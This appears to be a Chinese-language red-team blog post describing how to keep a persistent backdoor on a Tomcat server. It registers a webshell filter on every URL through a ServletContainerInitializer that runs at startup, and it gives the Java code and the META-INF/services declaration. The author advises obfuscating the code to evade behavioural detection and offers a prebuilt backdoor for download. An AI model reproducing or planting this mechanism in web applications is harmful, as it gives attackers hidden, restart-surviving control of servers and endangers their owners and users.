一种tomcat中间件留持久化后门的思路
2021-4-2 12:19:19 Author: gv7.me(查看原文) 阅读量:24 收藏

0x01 背景

在红队行动中,内存马虽然好用,但是它存在的最大的问题是重启之后就失效了。这时候留持久化后门就是一个刚需了。今天简单分享一个构造Tomcat中间件持久化后门的思路。

0x02 原理

相信通过@Filter/@Servlet标签来实现Tomcat后门的想法已经被用烂了,这里分享一个比较冷门的接口ServletContainerInitializer。它是Servlet 3.0新增的一个接口,主要用于在容器启动阶段通过编程风格注册web三大组件Filter, Servlet以及Listener,以取代通过web.xml配置注册,减少了对配置的依赖。我们可以用这样的机制来注册一个实现了webshell功能的组件,下面以注册Filter为例简单示范一下。

0x03 实现

首先我们编写一个class实现ServletContainerInitializer接口,其中onStartup方法会在Tomcat中间件重启加载当前webapp会优先执行这个方法。通过改方法,我们可以注册一个webshell的filter。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.apache;

import javax.servlet.*;
import javax.servlet.annotation.HandlesTypes;
import java.util.EnumSet;
import java.util.Set;

@HandlesTypes({MainFilter.class})
public class MainFilterInitializer implements ServletContainerInitializer {
public void onStartup(Set<Class<?>> set, ServletContext servletContext) throws ServletException {

FilterRegistration.Dynamic filter = servletContext.addFilter(MainFilter.class.getSimpleName(), MainFilter.class);
EnumSet<DispatcherType> dispatcherTypes = EnumSet.allOf(DispatcherType.class);
dispatcherTypes.add(DispatcherType.REQUEST);
dispatcherTypes.add(DispatcherType.FORWARD);

filter.addMappingForUrlPatterns(dispatcherTypes, true, "/*");
}
}

最后在打包jar之前创建一个文件META-INF/services/javax.servlet.ServletContainerInitializer,并填写以上class名即可。

为了兼容性我们最好使用jdk1.5进行编译,同时为了防止被行为分析我们最好对代码进行混淆。

最后分享给大家一个我自己做好的一个后门给大家做一个参考。

下载地址


文章来源: https://gv7.me/articles/2021/an-idea-of-keeping-persistent-backdoor-in-tomcat-middleware/
如有侵权请联系:admin#unsafe.sh